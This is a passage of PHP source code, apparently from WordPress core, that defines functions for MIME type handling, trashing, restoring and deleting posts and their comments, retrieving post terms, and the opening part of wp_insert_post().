Modify returned attachment counts by mime type. * * @since 3.7.0 * * @param stdClass $counts An object containing the attachment counts by * mime type. * @param string|string[] $mime_type Array or comma-separated list of MIME patterns. */ return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type ); } /** * Get default post mime types. * * @since 2.9.0 * @since 5.3.0 Added the 'Documents', 'Spreadsheets', and 'Archives' mime type groups. * * @return array List of post mime types. */ function get_post_mime_types() { $post_mime_types = array( // array( adj, noun ) 'image' => array( __( 'Images' ), __( 'Manage Images' ), /* translators: %s: Number of images. */ _n_noop( 'Image (%s)', 'Images (%s)' ), ), 'audio' => array( _x( 'Audio', 'file type group' ), __( 'Manage Audio' ), /* translators: %s: Number of audio files. */ _n_noop( 'Audio (%s)', 'Audio (%s)' ), ), 'video' => array( _x( 'Video', 'file type group' ), __( 'Manage Video' ), /* translators: %s: Number of video files. */ _n_noop( 'Video (%s)', 'Video (%s)' ), ), 'document' => array( __( 'Documents' ), __( 'Manage Documents' ), /* translators: %s: Number of documents. */ _n_noop( 'Document (%s)', 'Documents (%s)' ), ), 'spreadsheet' => array( __( 'Spreadsheets' ), __( 'Manage Spreadsheets' ), /* translators: %s: Number of spreadsheets. */ _n_noop( 'Spreadsheet (%s)', 'Spreadsheets (%s)' ), ), 'archive' => array( _x( 'Archives', 'file type group' ), __( 'Manage Archives' ), /* translators: %s: Number of archives. */ _n_noop( 'Archive (%s)', 'Archives (%s)' ), ), ); $ext_types = wp_get_ext_types(); $mime_types = wp_get_mime_types(); foreach ( $post_mime_types as $group => $labels ) { if ( in_array( $group, array( 'image', 'audio', 'video' ), true ) ) { continue; } if ( ! isset( $ext_types[ $group ] ) ) { unset( $post_mime_types[ $group ] ); continue; } $group_mime_types = array(); foreach ( $ext_types[ $group ] as $extension ) { foreach ( $mime_types as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $group_mime_types[] = $mime; break; } } } $group_mime_types = implode( ',', array_unique( $group_mime_types ) ); $post_mime_types[ $group_mime_types ] = $labels; unset( $post_mime_types[ $group ] ); } /** * Filters the default list of post mime types. * * @since 2.5.0 * * @param array $post_mime_types Default list of post mime types. */ return apply_filters( 'post_mime_types', $post_mime_types ); } /** * Check a MIME-Type against a list. * * If the wildcard_mime_types parameter is a string, it must be comma separated * list. If the real_mime_types is a string, it is also comma separated to * create the list. * * @since 2.5.0 * * @param string|string[] $wildcard_mime_types Mime types, e.g. audio/mpeg or image (same as image/*) * or flash (same as *flash*). * @param string|string[] $real_mime_types Real post mime type values. * @return array array(wildcard=>array(real types)). */ function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) { $matches = array(); if ( is_string( $wildcard_mime_types ) ) { $wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) ); } if ( is_string( $real_mime_types ) ) { $real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) ); } $patternses = array(); $wild = '[-._a-z0-9]*'; foreach ( (array) $wildcard_mime_types as $type ) { $mimes = array_map( 'trim', explode( ',', $type ) ); foreach ( $mimes as $mime ) { $regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $mime ) ) ); $patternses[][ $type ] = "^$regex$"; if ( false === strpos( $mime, '/' ) ) { $patternses[][ $type ] = "^$regex/"; $patternses[][ $type ] = $regex; } } } asort( $patternses ); foreach ( $patternses as $patterns ) { foreach ( $patterns as $type => $pattern ) { foreach ( (array) $real_mime_types as $real ) { if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[ $type ] ) || false === array_search( $real, $matches[ $type ], true ) ) ) { $matches[ $type ][] = $real; } } } } return $matches; } /** * Convert MIME types into SQL. * * @since 2.5.0 * * @param string|string[] $post_mime_types List of mime types or comma separated string * of mime types. * @param string $table_alias Optional. Specify a table alias, if needed. * Default empty. * @return string The SQL AND clause for mime searching. */ function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { $where = ''; $wildcards = array( '', '%', '%/%' ); if ( is_string( $post_mime_types ) ) { $post_mime_types = array_map( 'trim', explode( ',', $post_mime_types ) ); } $wheres = array(); foreach ( (array) $post_mime_types as $mime_type ) { $mime_type = preg_replace( '/\s/', '', $mime_type ); $slashpos = strpos( $mime_type, '/' ); if ( false !== $slashpos ) { $mime_group = preg_replace( '/[^-*.a-zA-Z0-9]/', '', substr( $mime_type, 0, $slashpos ) ); $mime_subgroup = preg_replace( '/[^-*.+a-zA-Z0-9]/', '', substr( $mime_type, $slashpos + 1 ) ); if ( empty( $mime_subgroup ) ) { $mime_subgroup = '*'; } else { $mime_subgroup = str_replace( '/', '', $mime_subgroup ); } $mime_pattern = "$mime_group/$mime_subgroup"; } else { $mime_pattern = preg_replace( '/[^-*.a-zA-Z0-9]/', '', $mime_type ); if ( false === strpos( $mime_pattern, '*' ) ) { $mime_pattern .= '/*'; } } $mime_pattern = preg_replace( '/\*+/', '%', $mime_pattern ); if ( in_array( $mime_type, $wildcards, true ) ) { return ''; } if ( false !== strpos( $mime_pattern, '%' ) ) { $wheres[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; } else { $wheres[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; } } if ( ! empty( $wheres ) ) { $where = ' AND (' . implode( ' OR ', $wheres ) . ') '; } return $where; } /** * Trash or delete a post or page. * * When the post and page is permanently deleted, everything that is tied to * it is deleted also. This includes comments, post meta fields, and terms * associated with the post. * * The post or page is moved to Trash instead of permanently deleted unless * Trash is disabled, item is already in the Trash, or $force_delete is true. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * @see wp_delete_attachment() * @see wp_trash_post() * * @param int $postid Optional. Post ID. Default 0. * @param bool $force_delete Optional. Whether to bypass Trash and force deletion. * Default false. * @return WP_Post|false|null Post data on success, false or null on failure. */ function wp_delete_post( $postid = 0, $force_delete = false ) { global $wpdb; $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid ) ); if ( ! $post ) { return $post; } $post = get_post( $post ); if ( ! $force_delete && ( 'post' === $post->post_type || 'page' === $post->post_type ) && 'trash' !== get_post_status( $postid ) && EMPTY_TRASH_DAYS ) { return wp_trash_post( $postid ); } if ( 'attachment' === $post->post_type ) { return wp_delete_attachment( $postid, $force_delete ); } /** * Filters whether a post deletion should take place. * * @since 4.4.0 * * @param WP_Post|false|null $delete Whether to go forward with deletion. @TODO description * @param WP_Post $post Post object. * @param bool $force_delete Whether to bypass the Trash. */ $check = apply_filters( 'pre_delete_post', null, $post, $force_delete ); if ( null !== $check ) { return $check; } /** * Fires before a post is deleted, at the start of wp_delete_post(). * * @since 3.2.0 * @since 5.5.0 Added the `$post` parameter. * * @see wp_delete_post() * * @param int $postid Post ID. * @param WP_Post $post Post object. */ do_action( 'before_delete_post', $postid, $post ); delete_post_meta( $postid, '_wp_trash_meta_status' ); delete_post_meta( $postid, '_wp_trash_meta_time' ); wp_delete_object_term_relationships( $postid, get_object_taxonomies( $post->post_type ) ); $parent_data = array( 'post_parent' => $post->post_parent ); $parent_where = array( 'post_parent' => $postid ); if ( is_post_type_hierarchical( $post->post_type ) ) { // Point children of this page to its parent, also clean the cache of affected children. $children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type ); $children = $wpdb->get_results( $children_query ); if ( $children ) { $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) ); } } // Do raw query. wp_get_post_revisions() is filtered. $revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) ); // Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up. foreach ( $revision_ids as $revision_id ) { wp_delete_post_revision( $revision_id ); } // Point all attachments to this post up one level. $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) ); wp_defer_comment_counting( true ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d ORDER BY comment_ID DESC", $postid ) ); foreach ( $comment_ids as $comment_id ) { wp_delete_comment( $comment_id, true ); } wp_defer_comment_counting( false ); $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ) ); foreach ( $post_meta_ids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } /** * Fires immediately before a post is deleted from the database. * * @since 1.2.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $postid Post ID. * @param WP_Post $post Post object. */ do_action( 'delete_post', $postid, $post ); $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) ); if ( ! $result ) { return false; } /** * Fires immediately after a post is deleted from the database. * * @since 2.2.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $postid Post ID. * @param WP_Post $post Post object. */ do_action( 'deleted_post', $postid, $post ); clean_post_cache( $post ); if ( is_post_type_hierarchical( $post->post_type ) && $children ) { foreach ( $children as $child ) { clean_post_cache( $child ); } } wp_clear_scheduled_hook( 'publish_future_post', array( $postid ) ); /** * Fires after a post is deleted, at the conclusion of wp_delete_post(). * * @since 3.2.0 * @since 5.5.0 Added the `$post` parameter. * * @see wp_delete_post() * * @param int $postid Post ID. * @param WP_Post $post Post object. */ do_action( 'after_delete_post', $postid, $post ); return $post; } /** * Reset the page_on_front, show_on_front, and page_for_post settings when * a linked page is deleted or trashed. * * Also ensures the post is no longer sticky. * * @since 3.7.0 * @access private * * @param int $post_id Post ID. */ function _reset_front_page_settings_for_post( $post_id ) { $post = get_post( $post_id ); if ( 'page' === $post->post_type ) { /* * If the page is defined in option page_on_front or post_for_posts, * adjust the corresponding options. */ if ( get_option( 'page_on_front' ) == $post->ID ) { update_option( 'show_on_front', 'posts' ); update_option( 'page_on_front', 0 ); } if ( get_option( 'page_for_posts' ) == $post->ID ) { update_option( 'page_for_posts', 0 ); } } unstick_post( $post->ID ); } /** * Move a post or page to the Trash * * If Trash is disabled, the post or page is permanently deleted. * * @since 2.9.0 * * @see wp_delete_post() * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post` * if `EMPTY_TRASH_DAYS` equals true. * @return WP_Post|false|null Post data on success, false or null on failure. */ function wp_trash_post( $post_id = 0 ) { if ( ! EMPTY_TRASH_DAYS ) { return wp_delete_post( $post_id, true ); } $post = get_post( $post_id ); if ( ! $post ) { return $post; } if ( 'trash' === $post->post_status ) { return false; } /** * Filters whether a post trashing should take place. * * @since 4.9.0 * * @param bool|null $trash Whether to go forward with trashing. * @param WP_Post $post Post object. */ $check = apply_filters( 'pre_trash_post', null, $post ); if ( null !== $check ) { return $check; } /** * Fires before a post is sent to the Trash. * * @since 3.3.0 * * @param int $post_id Post ID. */ do_action( 'wp_trash_post', $post_id ); add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status ); add_post_meta( $post_id, '_wp_trash_meta_time', time() ); $post_updated = wp_update_post( array( 'ID' => $post_id, 'post_status' => 'trash', ) ); if ( ! $post_updated ) { return false; } wp_trash_post_comments( $post_id ); /** * Fires after a post is sent to the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. */ do_action( 'trashed_post', $post_id ); return $post; } /** * Restores a post from the Trash. * * @since 2.9.0 * @since 5.6.0 An untrashed post is now returned to 'draft' status by default, except for * attachments which are returned to their original 'inherit' status. * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return WP_Post|false|null Post data on success, false or null on failure. */ function wp_untrash_post( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post ) { return $post; } $post_id = $post->ID; if ( 'trash' !== $post->post_status ) { return false; } $previous_status = get_post_meta( $post_id, '_wp_trash_meta_status', true ); /** * Filters whether a post untrashing should take place. * * @since 4.9.0 * @since 5.6.0 The `$previous_status` parameter was added. * * @param bool|null $untrash Whether to go forward with untrashing. * @param WP_Post $post Post object. * @param string $previous_status The status of the post at the point where it was trashed. */ $check = apply_filters( 'pre_untrash_post', null, $post, $previous_status ); if ( null !== $check ) { return $check; } /** * Fires before a post is restored from the Trash. * * @since 2.9.0 * @since 5.6.0 The `$previous_status` parameter was added. * * @param int $post_id Post ID. * @param string $previous_status The status of the post at the point where it was trashed. */ do_action( 'untrash_post', $post_id, $previous_status ); $new_status = ( 'attachment' === $post->post_type ) ? 'inherit' : 'draft'; /** * Filters the status that a post gets assigned when it is restored from the trash (untrashed). * * By default posts that are restored will be assigned a status of 'draft'. Return the value of `$previous_status` * in order to assign the status that the post had before it was trashed. The `wp_untrash_post_set_previous_status()` * function is available for this. * * Prior to WordPress 5.6.0, restored posts were always assigned their original status. * * @since 5.6.0 * * @param string $new_status The new status of the post being restored. * @param int $post_id The ID of the post being restored. * @param string $previous_status The status of the post at the point where it was trashed. */ $post_status = apply_filters( 'wp_untrash_post_status', $new_status, $post_id, $previous_status ); delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); $post_updated = wp_update_post( array( 'ID' => $post_id, 'post_status' => $post_status, ) ); if ( ! $post_updated ) { return false; } wp_untrash_post_comments( $post_id ); /** * Fires after a post is restored from the Trash. * * @since 2.9.0 * @since 5.6.0 The `$previous_status` parameter was added. * * @param int $post_id Post ID. * @param string $previous_status The status of the post at the point where it was trashed. */ do_action( 'untrashed_post', $post_id, $previous_status ); return $post; } /** * Moves comments for a post to the Trash. * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return mixed|void False on failure. */ function wp_trash_post_comments( $post = null ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; /** * Fires before comments are sent to the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. */ do_action( 'trash_post_comments', $post_id ); $comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) ); if ( ! $comments ) { return; } // Cache current status for each comment. $statuses = array(); foreach ( $comments as $comment ) { $statuses[ $comment->comment_ID ] = $comment->comment_approved; } add_post_meta( $post_id, '_wp_trash_meta_comments_status', $statuses ); // Set status for all comments to post-trashed. $result = $wpdb->update( $wpdb->comments, array( 'comment_approved' => 'post-trashed' ), array( 'comment_post_ID' => $post_id ) ); clean_comment_cache( array_keys( $statuses ) ); /** * Fires after comments are sent to the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. * @param array $statuses Array of comment statuses. */ do_action( 'trashed_post_comments', $post_id, $statuses ); return $result; } /** * Restore comments for a post from the Trash. * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return true|void */ function wp_untrash_post_comments( $post = null ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; $statuses = get_post_meta( $post_id, '_wp_trash_meta_comments_status', true ); if ( ! $statuses ) { return true; } /** * Fires before comments are restored for a post from the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. */ do_action( 'untrash_post_comments', $post_id ); // Restore each comment to its original status. $group_by_status = array(); foreach ( $statuses as $comment_id => $comment_status ) { $group_by_status[ $comment_status ][] = $comment_id; } foreach ( $group_by_status as $status => $comments ) { // Sanity check. This shouldn't happen. if ( 'post-trashed' === $status ) { $status = '0'; } $comments_in = implode( ', ', array_map( 'intval', $comments ) ); $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET comment_approved = %s WHERE comment_ID IN ($comments_in)", $status ) ); } clean_comment_cache( array_keys( $statuses ) ); delete_post_meta( $post_id, '_wp_trash_meta_comments_status' ); /** * Fires after comments are restored for a post from the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. */ do_action( 'untrashed_post_comments', $post_id ); } /** * Retrieve the list of categories for a post. * * Compatibility layer for themes and plugins. Also an easy layer of abstraction * away from the complexity of the taxonomy layer. * * @since 2.1.0 * * @see wp_get_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param array $args Optional. Category query parameters. Default empty array. * See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error List of categories. If the `$fields` argument passed via `$args` is 'all' or * 'all_with_object_id', an array of WP_Term objects will be returned. If `$fields` * is 'ids', an array of category IDs. If `$fields` is 'names', an array of category names. * WP_Error object if 'category' taxonomy doesn't exist. */ function wp_get_post_categories( $post_id = 0, $args = array() ) { $post_id = (int) $post_id; $defaults = array( 'fields' => 'ids' ); $args = wp_parse_args( $args, $defaults ); $cats = wp_get_object_terms( $post_id, 'category', $args ); return $cats; } /** * Retrieve the tags for a post. * * There is only one default for this function, called 'fields' and by default * is set to 'all'. There are other defaults that can be overridden in * wp_get_object_terms(). * * @since 2.3.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param array $args Optional. Tag query parameters. Default empty array. * See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found. * WP_Error object if 'post_tag' taxonomy doesn't exist. */ function wp_get_post_tags( $post_id = 0, $args = array() ) { return wp_get_post_terms( $post_id, 'post_tag', $args ); } /** * Retrieves the terms for a post. * * @since 2.8.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param string|string[] $taxonomy Optional. The taxonomy slug or array of slugs for which * to retrieve terms. Default 'post_tag'. * @param array $args { * Optional. Term query parameters. See WP_Term_Query::__construct() for supported arguments. * * @type string $fields Term fields to retrieve. Default 'all'. * } * @return array|WP_Error Array of WP_Term objects on success or empty array if no terms were found. * WP_Error object if `$taxonomy` doesn't exist. */ function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) { $post_id = (int) $post_id; $defaults = array( 'fields' => 'all' ); $args = wp_parse_args( $args, $defaults ); $tags = wp_get_object_terms( $post_id, $taxonomy, $args ); return $tags; } /** * Retrieve a number of recent posts. * * @since 1.0.0 * * @see get_posts() * * @param array $args Optional. Arguments to retrieve posts. Default empty array. * @param string $output Optional. The required return type. One of OBJECT or ARRAY_A, which * correspond to a WP_Post object or an associative array, respectively. * Default ARRAY_A. * @return array|false Array of recent posts, where the type of each element is determined * by the `$output` parameter. Empty array on failure. */ function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) { if ( is_numeric( $args ) ) { _deprecated_argument( __FUNCTION__, '3.1.0', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) ); $args = array( 'numberposts' => absint( $args ) ); } // Set default arguments. $defaults = array( 'numberposts' => 10, 'offset' => 0, 'category' => 0, 'orderby' => 'post_date', 'order' => 'DESC', 'include' => '', 'exclude' => '', 'meta_key' => '', 'meta_value' => '', 'post_type' => 'post', 'post_status' => 'draft, publish, future, pending, private', 'suppress_filters' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $results = get_posts( $parsed_args ); // Backward compatibility. Prior to 3.1 expected posts to be returned in array. if ( ARRAY_A === $output ) { foreach ( $results as $key => $result ) { $results[ $key ] = get_object_vars( $result ); } return $results ? $results : array(); } return $results ? $results : false; } /** * Insert or update a post. * * If the $postarr parameter has 'ID' set to a value, then post will be updated. * * You can set the post date manually, by setting the values for 'post_date' * and 'post_date_gmt' keys. You can close the comments or open the comments by * setting the value for 'comment_status' key. * * @since 1.0.0 * @since 2.6.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt. * @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @see sanitize_post() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $postarr { * An array of elements that make up a post to update or insert. * * @type int $ID The post ID. If equal to something other than 0, * the post with that ID will be updated. Default 0. * @type int $post_author The ID of the user who added the post. Default is * the current user ID. * @type string $post_date The date of the post. Default is the current time. * @type string $post_date_gmt The date of the post in the GMT timezone. Default is * the value of `$post_date`. * @type string $post_content The post content. Default empty. * @type string $post_content_filtered The filtered post content. Default empty. * @type string $post_title The post title. Default empty. * @type string $post_excerpt The post excerpt. Default empty. * @type string $post_status The post status. Default 'draft'. * @type string $post_type The post type. Default 'post'. * @type string $comment_status Whether the post can accept comments. Accepts 'open' or 'closed'. * Default is the value of 'default_comment_status' option. * @type string $ping_status Whether the post can accept pings. Accepts 'open' or 'closed'. * Default is the value of 'default_ping_status' option. * @type string $post_password The password to access the post. Default empty. * @type string $post_name The post name. Default is the sanitized post title * when creating a new post. * @type string $to_ping Space or carriage return-separated list of URLs to ping. * Default empty. * @type string $pinged Space or carriage return-separated list of URLs that have * been pinged. Default empty. * @type string $post_modified The date when the post was last modified. Default is * the current time. * @type string $post_modified_gmt The date when the post was last modified in the GMT * timezone. Default is the current time. * @type int $post_parent Set this for the post it belongs to, if any. Default 0. * @type int $menu_order The order the post should be displayed in. Default 0. * @type string $post_mime_type The mime type of the post. Default empty. * @type string $guid Global Unique ID for referencing the post. Default empty. * @type int $import_id The post ID to be used when inserting a new post. * If specified, must not match any existing post ID. Default 0. * @type int[] $post_category Array of category IDs. * Defaults to value of the 'default_category' option. * @type array $tags_input Array of tag names, slugs, or IDs. Default empty. * @type array $tax_input An array of taxonomy terms keyed by their taxonomy name. * If the taxonomy is hierarchical, the term list needs to be * either an array of term IDs or a comma-separated string of IDs. * If the taxonomy is non-hierarchical, the term list can be an array * that contains term names or slugs, or a comma-separated string * of names or slugs. This is because, in hierarchical taxonomy, * child terms can have the same names with different parent terms, * so the only way to connect them is using ID. Default empty. * @type array $meta_input Array of post meta values keyed by their post meta key. Default empty. * } * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure. */ function wp_insert_post( $postarr, $wp_error = false, $fire_after_hooks = true ) { global $wpdb; // Capture original pre-sanitized array for passing into filters. $unsanitized_postarr = $postarr; $user_id = get_current_user_id(); $defaults = array( 'post_author' => $user_id, 'post_content' => '', 'post_content_filtered' => '', 'post_title' => '', 'post_excerpt' => '', 'post_status' => 'draft', 'post_type' => 'post', 'comment_status' => '', 'ping_status' => '', 'post_password' => '', 'to_ping' => '', 'pinged' => '', 'post_parent' => 0, 'menu_order' => 0, 'guid' => '', 'import_id' => 0, 'context' => '', 'post_date' => '', 'post_date_gmt' => '', ); $postarr = wp_parse_args( $postarr, $defaults ); unset( $postarr['filter'] ); $postarr = sanitize_post( $postarr, 'db' ); // Are we updating or creating? $post_ID = 0; $update = false; $guid = $postarr['guid']; if ( ! empty( $postarr['ID'] ) ) { $update = true; // Get the post ID and GUID. $post_ID = $postarr['ID']; $post_before = get_post( $post_ID ); if ( is_null( $post_before ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } return 0; } $guid = get_post_field( 'guid', $post_ID ); $previous_status = get_post_field( 'post_status', $post_ID ); } else { $previous_status = 'new'; $post_before = null; } $post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type']; $post_title = $postarr['post_title']; $post_content = $postarr['post_content']; $post_excerpt = $postarr['post_excerpt']; if ( isset( $postarr['post_name'] ) ) { $post_name = $postarr['post_name']; } elseif ( $update ) { // For an update, don't modify the post_name if it wasn't supplied as an argument. $post_name = $post_before->post_name; } $maybe_empty = 'attachment' !== $post_type && ! $post_content && ! $post_title && ! $post_excerpt && post_type_supports( $post_type, 'editor' ) && post_type_supports( $post_type, 'title' ) && post_type_supports( $post_type, 'excerpt' ); /** * Filters whether the post should be considered "empty". * * The post is considered "empty" if both: * 1. The post type supports the title, editor, and excerpt fields * 2. The title, editor, and excerpt fields are all empty * * Returning a truthy value from the filter will effectively short-circuit * the new post being inserted and return 0. If $wp_error is true, a WP_Error * will be returned instead. * * @since 3.3.0 * * @param bool $maybe_empty Whether the post should be considered "empty". * @param array $postarr Array of post data. */ if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) { if ( $wp_error ) { return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) ); } else { return 0; } } $post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status']; if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash', 'auto-draft' ), true ) ) { $post_status = 'inherit'; } if ( ! empty( $postarr['post_category'] ) ) { // Filter out empty terms. $post_category = array_filter( $postarr['post_category'] ); } // Make sure we set a valid category. if ( empty( $post_category ) || 0 === count( $post_category ) || ! is_array( $post_category ) ) { // 'post' requires at least one category. if ( 'post' === $post_type && 'auto-draft' !== $post_status ) { $post_category = array( get_option( 'default_category' ) ); } else { $post_category = array(); } } /* * Don't allow contributors to set the post slug for pending review posts. * * For new posts check the primitive capability, for updates check the meta capability. */ $post_type_object = get_post_type_object( $post_type ); if ( ! $update && 'pending' === $post_status && ! current_user_can( $post_type_object->cap->publish_posts ) ) { $post_name = ''; } elseif ( $update && 'pending' === $post_status && ! current_user_can( 'publish_post', $post_ID ) ) { $post_name = ''; } /* * Create a valid post name. Drafts and pending posts are allowed to have * an empty post name. */ if ( empty( $post_name ) ) { if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ), true ) ) { $post_name = sanitize_title( $post_title ); } else { $post_name = ''; } } else { // On updates, we need to check to see if it's using the old, fixed sanitization context. $check_name = sanitize_title( $post_name, '', 'old-save' ); if ( $update && strtolower( urlencode( $post_name ) ) == $check_name && get_post_field( 'post_name', $post_ID ) == $check_name ) { $post_name = $check_name; } else { // new post, or slug has changed. $post_name = sanitize_title( $post_name ); } } /* * Resolve the post date from any provided post date or post date GMT strings; * if none are provided, the date will be set to now. */ $post_date = wp_resolve_post_date( $postarr['post_date'], $postarr['post_date_gmt'] ); if ( ! $post_date ) { if ( $wp_error ) { return new WP_Error( 'invalid_date', __( 'Invalid date.' ) ); } else { return 0; } } if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' === $postarr['post_date_gmt'] ) { if ( ! in_array( $post_status, get_post_stati( array( 'date_floating' => true ) ), true ) ) { $post_date_gmt = get_gmt_from_date( $post_date ); } else { $post_date_gmt = '0000-00-00 00:00:00'; } } else { $post_date_gmt = $postarr['post_date_gmt']; } if ( $update || '0000-00-00 00:00:00' === $post_date ) { $post_modified = current_time( 'mysql' ); $post_modified_gmt = current_time( 'mysql', 1 ); } else { $post_modified = $post_date; $post_modified_gmt = $post_date_gmt; } if ( 'attachment' !== $post_type ) { $now = gmdate( 'Y-m-d H:i:s' ); if ( 'publish' === $post_status ) { if ( strtotime( $post_date_gmt ) - strtotime( $now ) >= MINUTE_IN_SECONDS ) { $post_status = 'future'; } } elseif ( 'future' === $post_status ) { if ( strtotime( $post_date_gmt ) - strtotime( $now ) < MINUTE_IN_SECONDS ) { $post_status = 'publish'; } } } // Comment status. if ( empty( $postarr['comment_status'] ) ) { if ( $update ) { $comment_status = 'closed'; } else { $comment_status = get_default_comment_status( $post_type ); } } else { $comment_status = $postarr['comment_status']; } // These variables are needed by compact() later. $post_content_filtered = $postarr['post_content_filtered']; $post_author = isset( $postarr['post_author'] ) ? $postarr['post_author'] : $user_id; $ping_status = empty( $postarr['ping_status'] ) ? get_default_comment_status( $post_type, 'pingback' ) : $postarr['ping_status']; $to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : ''; $pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : ''; $import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0; /* * The 'wp_insert_post_parent' filter expects all variables to be present. * Previously, these variables would have already been extracted */ if ( isset( $postarr['menu_order'] ) ) { $menu_order = (int) $postarr['menu_order']; } else { $menu_order = 0; } $post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : ''; if ( 'private' === $post_status ) { $post_password = ''; } if ( isset( $postarr['post_parent'] ) ) { $post_parent = (int) $postarr['post_parent']; } else { $post_parent = 0; } $new_postarr = array_merge( array( 'ID' => $post_ID, ), compact( array_diff( array_keys( $defaults ), array( 'context', 'filter' ) ) ) ); /** * Filters the post parent -- used to check for and prevent hierarchy loops. * * @since 3.1.0 * * @param int $post_parent Post parent ID. * @param int $post_ID Post ID. * @param array $new_postarr Array of parsed post data. * @param array $postarr Array of sanitized, but otherwise unmodified post data. */ $post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_ID, $new_postarr, $postarr ); /* * If the post is being untrashed and it has a desired slug stored in post meta, * reassign it. */ if ( 'trash' === $previous_status && 'trash' !== $post_status ) { $desired_post_slug = get_post_meta( $post_ID, '_wp_desired_post_slug', true ); if ( $desired_post_slug ) { delete_post_meta( $post_ID, '_wp_desired_post_slug' ); $post_name = $desired_post_slug; } } // If a trashed post has the desired slug, change it and let this post have it. if ( 'trash' !== $post_status && $post_name ) { /** * Filters whether or not to add a `__trashed` suffix to trashed posts that match the name of the updated post. * * @since 5.4.0 * * @param bool $add_trashed_suffix Whether to attempt to add the suffix. * @param string $post_name The name of the post being updated. * @param int $post_ID Post ID. */ $add_trashed_suffix = apply_filters( 'add_trashed_suffix_to_trashed_posts', true, $post_name, $post_ID ); if ( $add_trashed_suffix ) { wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID ); } } // When trashing an existing post, change its slug to allow non-trashed posts to use it. if ( 'trash' === $post_status && 'trash' !== $previous_status && 'new' !== $previous_status ) { $post_name = wp_add_trashed_suffix_to_post_name_for_post( $post_ID 